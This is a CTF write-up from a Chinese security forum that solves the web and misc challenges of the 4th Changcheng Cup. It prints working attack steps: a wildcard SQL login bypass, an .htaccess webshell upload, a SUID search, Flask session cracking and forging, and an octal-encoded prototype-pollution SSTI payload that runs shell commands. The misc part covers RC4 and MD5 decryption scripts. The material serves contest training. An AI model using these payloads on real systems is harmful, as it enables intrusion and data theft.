第四届“长城杯”网络安全大赛 暨京津冀网络安全技能竞赛(WEB和MISC全解)
执着于web安全研究 发表于 湖北 CTF 1288浏览 · 2024-09-01 07:21

WEB

SQLUP

打开题目给了一个登录页面结合名字猜测为SQL注入

查看源码发现有hint提示开发者使用的是模式匹配

所以我尝试使用%来模糊匹配,登陆成功

username=admin&password=%

进入面板之后发现有一个文件上传功能

尝试上传php文件,结果被waf,文件名字不能出现p

我想到了使用.htaccess文件来解析gif文件来getshell
先上传.htaccess文件, 将1.gif当作php解析

<FilesMatch "1.gif">
SetHandler application/x-httpd-php
</FilesMatch>


接着上传1.gif文件

之后访问uploads/1.gif即可getshell,但是还需要提权读取flag

寻找提权命令

find / -perm -u=s -type f 2>/dev/null

发现tac命令可以使用

CandyShop

源码如下

import datetime
from flask import Flask, render_template, render_template_string, request, redirect, url_for, session, make_response
from wtforms import StringField, PasswordField, SubmitField
from wtforms.validators import DataRequired, Length
from flask_wtf import FlaskForm
import re


app = Flask(__name__)

app.config['SECRET_KEY'] = 'xxxxxxx'

class RegistrationForm(FlaskForm):
    username = StringField('Username', validators=[DataRequired(), Length(min=2, max=20)])
    password = PasswordField('Password', validators=[DataRequired(), Length(min=6, max=20)])
    submit = SubmitField('Register')

class LoginForm(FlaskForm):
    username = StringField('Username', validators=[DataRequired(), Length(min=2, max=20)])
    password = PasswordField('Password', validators=[DataRequired(), Length(min=6, max=20)])
    submit = SubmitField('Login')

class Candy:
    def __init__(self, name, image):
        self.name = name
        self.image = image

class User:
    def __init__(self, username, password):
        self.username = username
        self.password = password

    def verify_password(self, username, password):
        return (self.username==username) & (self.password==password)
class Admin:
    def __init__(self):
        self.username = ""
        self.identity = ""

def sanitize_inventory_sold(value):
    return re.sub(r'[a-zA-Z_]', '', str(value))
def merge(src, dst):
    for k, v in src.items():
        if hasattr(dst, '__getitem__'):
            if dst.get(k) and type(v) == dict:
                merge(v, dst.get(k))
            else:
                dst[k] = v
        elif hasattr(dst, k) and type(v) == dict:
            merge(v, getattr(dst, k))
        else:
            setattr(dst, k, v)

candies = [Candy(name="Lollipop", image="images/candy1.jpg"),
    Candy(name="Chocolate Bar", image="images/candy2.jpg"),
    Candy(name="Gummy Bears", image="images/candy3.jpg")
]
users = []
admin_user = []
@app.route('/register', methods=['GET', 'POST'])
def register():
    form = RegistrationForm()
    if form.validate_on_submit():
        user = User(username=form.username.data, password=form.password.data)
        users.append(user)
        return redirect(url_for('login'))

    return render_template('register.html', form=form)

@app.route('/login', methods=['GET', 'POST'])
def login():
    form = LoginForm()
    if form.validate_on_submit():
        for u in users:
            if u.verify_password(form.username.data, form.password.data):
                session['username'] = form.username.data
                session['identity'] = "guest"
                return redirect(url_for('home'))

    return render_template('login.html', form=form)

inventory = 500
sold = 0
@app.route('/home', methods=['GET', 'POST'])
def home():
    global inventory, sold
    message = None
    username = session.get('username')
    identity = session.get('identity')

    if not username:
        return redirect(url_for('register'))

    if sold >= 10 and sold < 500:
        sold = 0
        inventory = 500
        message = "But you have bought too many candies!"
        return render_template('home.html', inventory=inventory, sold=sold, message=message, candies=candies)

    if request.method == 'POST':
        action = request.form.get('action')
        if action == "buy_candy":
            if inventory > 0:
                inventory -= 3
                sold += 3
            if inventory == 0:
                message = "All candies are sold out!"
            if sold >= 500:
                with open('secret.txt', 'r') as file:
                    message = file.read()

    return render_template('home.html', inventory=inventory, sold=sold, message=message, candies=candies)


@app.route('/admin', methods=['GET', 'POST'])
def admin():
    username = session.get('username')
    identity = session.get('identity')
    if not username or identity != 'admin':
        return redirect(url_for('register'))
    admin = Admin()
    merge(session,admin)
    admin_user.append(admin)
    return render_template('admin.html', view='index')

@app.route('/admin/view_candies', methods=['GET', 'POST'])
def view_candies():
    username = session.get('username')
    identity = session.get('identity')
    if not username or identity != 'admin':
        return redirect(url_for('register'))
    return render_template('admin.html', view='candies', candies=candies)

@app.route('/admin/add_candy', methods=['GET', 'POST'])
def add_candy():
    username = session.get('username')
    identity = session.get('identity')
    if not username or identity != 'admin':
        return redirect(url_for('register'))
    candy_name = request.form.get('name')
    candy_image = request.form.get('image')
    if candy_name and candy_image:
        new_candy = Candy(name=candy_name, image=candy_image)
        candies.append(new_candy)
    return render_template('admin.html', view='add_candy')

@app.route('/admin/view_inventory', methods=['GET', 'POST'])
def view_inventory():
    username = session.get('username')
    identity = session.get('identity')
    if not username or identity != 'admin':
        return redirect(url_for('register'))
    inventory_value = sanitize_inventory_sold(inventory)
    sold_value = sanitize_inventory_sold(sold)
    return render_template_string("商店库存:" + inventory_value + "已售出" + sold_value)

@app.route('/admin/add_inventory', methods=['GET', 'POST'])
def add_inventory():
    global inventory
    username = session.get('username')
    identity = session.get('identity')
    if not username or identity != 'admin':
        return redirect(url_for('register'))
    if request.form.get('add'):
        num = request.form.get('add')
        inventory += int(num)
    return render_template('admin.html', view='add_inventory')

@app.route('/')
def index():
    return render_template('index.html')

if __name__ == '__main__':
    app.run(debug=False, host='0.0.0.0', port=1337)

爆破session key得到 a123456

flask-unsign -u -c "eyJjc3JmX3Rva2VuIjoiYmI5N2MxMGJhYTlhZTUzZDhiMTQ5NWVkNTVkZjcxNjQ0OTc0NjY4ZiIsImlkZW50aXR5IjoiZ3Vlc3QiLCJ1c2VybmFtZSI6IjEyMyJ9.Zt0WUA.FitsqnryV6luxUpGkUgwqDK8UDA"

session解密

┌──(kali㉿kali)-[~/Desktop/flask-session-cookie-manager-master]
└─$ python2 flask_session_cookie_manager2.py decode -c .eJwNy8EKgCAMANB_2blDqW3Sz4S2LSQ0SDtE9O95ffBe2OqlazsPKbAAT6weoyhNihZn44PGjZwjGxGRrHBwZEYYILGUltrT135LbZ3uKlcJWToFzqnA9wOF2h3A.Zt025A.Z9OU_8Xax0lafOyjFTrx1WJ90qc

{"csrf_token":"d1df86bef71f636528afbc74473b66673eda4720","identity":"guest","username":"admin"}

伪造加密session

┌──(kali㉿kali)-[~/Desktop/flask-session-cookie-manager-master]
└─$ python3 flask_session_cookie_manager3.py encode -s a123456 -t '{"csrf_token":"d1df86bef71f636528afbc74473b66673eda4720","identity":"admin","username":"admin"}'

eyJpZGVudGl0eSI6ImFkbWluIiwidXNlcm5hbWUiOiIxMjMifQ.Zt0hvg.ej8rVrvsHOttUQIIMgmE2w0kSto

伪造污染inventory

python3 flask_session_cookie_manager3.py encode -s a123456 -t "{'identity':'admin','username':'123','__init__':{'__globals__':{'inventory':'{{7*7}}'}}}"

观察源码发现存在原型链污染

@app.route('/admin', methods=['GET', 'POST'])

def admin():
    username = session.get('username')
    identity = session.get('identity')
    if not username or identity != 'admin':
        return redirect(url_for('register'))
    admin = Admin()
    merge(session,admin)
    admin_user.append(admin)

    return render_template('admin.html', view='index')

并发现存在ssti漏洞

@app.route('/admin/view_inventory', methods=['GET', 'POST'])

def view_inventory():
    username = session.get('username')
    identity = session.get('identity')
    if not username or identity != 'admin':
        return redirect(url_for('register'))
    inventory_value = sanitize_inventory_sold(inventory)
    sold_value = sanitize_inventory_sold(sold)
    return render_template_string("商店库存:" + inventory_value + "已售出" + sold_value)

结合原型链污染,我们可以污染全局变量inventory来造成ssti

{"__init__":{"__globals__":{"inventory":"{{7*7}}"}}

但是源码过滤了字母和下划线

def sanitize_inventory_sold(value):
    return re.sub(r'[a-zA-Z_]', '', str(value))

尽管禁用了字母但还可以用八进制绕过!
使用脚本伪造payload

input = "cat /tmp/9fb871d06639d7665f8c2005f87200fe/e586231aabe38cf5befd176a1ff25fec/6a5d614cfdcd840afead8e3497595126/flag"

print("\\'", end="")

for letter in input:

    #print(hex(ord(letter)).replace("0x", r"\x"), end="")

    #print(hex(ord(letter)).replace("0x", r"\u00"), end="")

    print(oct(ord(letter)).replace("0o", "\\\\"), end="")

print("\\'")

#python flask_session_cookie_manager3.py encode -s a123456 -t "{'csrf_token':'d1df86bef71f636528afbc74473b66673eda4720','identity':'admin','username':'admin','__init__':{'__globals__':{'inventory':'{{\'\'[\'\\137\\137\\143\\154\\141\\163\\163\\137\\137\'][\'\\137\\137\\155\\162\\157\\137\\137\'][1][\'\\137\\137\\163\\165\\142\\143\\154\\141\\163\\163\\145\\163\\137\\137\']()[132][\'\\137\\137\\151\\156\\151\\164\\137\\137\'][\'\\137\\137\\147\\154\\157\\142\\141\\154\\163\\137\\137\'][\'\\160\\157\\160\\145\\156\'](\'\\143\\141\\164\\40\\57\\164\\155\\160\\57\\71\\146\\142\\70\\67\\61\\144\\60\\66\\66\\63\\71\\144\\67\\66\\66\\65\\146\\70\\143\\62\\60\\60\\65\\146\\70\\67\\62\\60\\60\\146\\145\\57\\145\\65\\70\\66\\62\\63\\61\\141\\141\\142\\145\\63\\70\\143\\146\\65\\142\\145\\146\\144\\61\\67\\66\\141\\61\\146\\146\\62\\65\\146\\145\\143\\57\\66\\141\\65\\144\\66\\61\\64\\143\\146\\144\\143\\144\\70\\64\\60\\141\\146\\145\\141\\144\\70\\145\\63\\64\\71\\67\\65\\71\\65\\61\\62\\66\\57\\146\\154\\141\\147\')[\'\\162\\145\\141\\144\']()}}'}}}"



#{{''['\\137\\137\\143\\154\\141\\163\\163\\137\\137']}}

# __class__;\'\\137\\137\\143\\154\\141\\163\\163\\137\\137\'

# __mro__:\'\\137\\137\\155\\162\\157\\137\\137\'

# __base__: \'\\137\\137\\142\\141\\163\\145\\163\\137\\137\'

#__subclasses__:\'\\137\\137\\163\\165\\142\\143\\154\\141\\163\\163\\145\\163\\137\\137\'  [132]

#__init__:\'\\137\\137\\151\\156\\151\\164\\137\\137\'

#__globals__:\'\\137\\137\\147\\154\\157\\142\\141\\154\\163\\137\\137\'

#popen: \'\\160\\157\\160\\145\\156\'

# cat /f*;\'\\143\\141\\164\\40\\57\\146\\52\'
PS C:\Users\86150\Desktop\flask-session-cookie-manager-1.2.1.1> python flask_session_cookie_manager3.py encode -s a123456 -t "{'csrf_token':'d1df86bef71f636528afbc74473b66673eda4720','identity':'admin','username':'admin','__init__':{'__globals__':{'inventory':'{{\'\'[\'\\137\\137\\143\\154\\141\\163\\163\\137\\137\'][\'\\137\\137\\155\\162\\157\\137\\137\'][1][\'\\137\\137\\163\\165\\142\\143\\154\\141\\163\\163\\145\\163\\137\\137\']()[132][\'\\137\\137\\151\\156\\151\\164\\137\\137\'][\'\\137\\137\\147\\154\\157\\142\\141\\154\\163\\137\\137\'][\'\\160\\157\\160\\145\\156\'](\'\\143\\141\\164\\40\\57\\164\\155\\160\\57\\71\\146\\142\\70\\67\\61\\144\\60\\66\\66\\63\\71\\144\\67\\66\\66\\65\\146\\70\\143\\62\\60\\60\\65\\146\\70\\67\\62\\60\\60\\146\\145\\57\\145\\65\\70\\66\\62\\63\\61\\141\\141\\142\\145\\63\\70\\143\\146\\65\\142\\145\\146\\144\\61\\67\\66\\141\\61\\146\\146\\62\\65\\146\\145\\143\\57\\66\\141\\65\\144\\66\\61\\64\\143\\146\\144\\143\\144\\70\\64\\60\\141\\146\\145\\141\\144\\70\\145\\63\\64\\71\\67\\65\\71\\65\\61\\62\\66\\57\\146\\154\\141\\147\')[\'\\162\\145\\141\\144\']()}}'}}}"

.eJx9UttugzAM_RdeWKU9kMR2qv5KOyEoMKG1VGrZpAnx78vFbgOd-oDl2MfnHIdM2fF27crx8tUO2S5rVNNtqW47qzoyhHpbdfXRAlhTE5E1bVOB1UX2nvVNO4z9-OumqubcD670fWuvQ3Vuk1JZ9kM_lmW2m1z-ebrU1ekWj_3w4xguV88wTXm-zw8HZawEMC4g-Ey5QEYCQ_KP1QCiR2if2QVMrZGRy8NBv1ICfNJ82-yV0U_Sfg5JMoIXNsGKWrAZHSip_bMhFYINWTCF5Kzk4h1EFBwgIuF-IVyyHgPEitZVyVUpVB3Yw4j4MwIHRkkDmcMWLO2vO4wWq24YS5osjezPJx5vRVZH2ejnEbRgTSIauJLfh3d6iAziOZDQY3ERwtRPoMTFBAoXMR-kyqHFR-AVQLZUS2qVgO6LeLQVm8g5spSOsvGWaPEwweab-CL0SsC_y3nO5nn-A-EVDjQ.Zt1CFQ.mbfc47fCCO-papkcsSiUKBJXNaI

MISC

BrickGame

修改一下js,跳过匹配的验证即可得到flag

漏洞探踪,流量解密

第一阶段发现上传了图片马,并通过访问gateway传参执行了命令


,尝试多个ip后使用192.168.30.234 成功解开压缩包
分析第二个流量包,发现使用命令从192.168.1.5 下载了raw和key


得到了加密的flag和key后,在后续流量包提示加密为RC4:

解密得到flag

from Crypto.Cipher import ARC4
raw = bytes.fromhex("5a76f6751576dbe1af49328aa1d2d2bea16ef62afa3a7c616d")
key = bytes.fromhex("bdb8e21eace81d5fd21ca445ccb35071")
cipher = ARC4.new(key)
plaintext = cipher.decrypt(raw)

最安全的加密方式

flag: flag{The_m0st_2ecUre_eNcrYption!!!}
流量包一开始有很多数据库的流量,未知
直接筛选http协议,发现有三个post请求,一个上传了php文件,一个上传了图片,一个上传了压缩包

使用php脚本中的pass可以打开压缩包,发现文本文件flag.txt
貌似是单个字符的md5,直接爆破:

import hashlib
from string import printable as all

charset = all
data = open("flag.txt", "r").readlines()

md5s = dict()
for i in charset:
    md5s[hashlib.md5(i.encode()).hexdigest()] = i

print("".join([md5s[i.strip()] for i in data]))
1 条评论
某人
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运*郭
2024-09-26 02:26 北京 0 回复

你好,可以提供下misc题的附件吗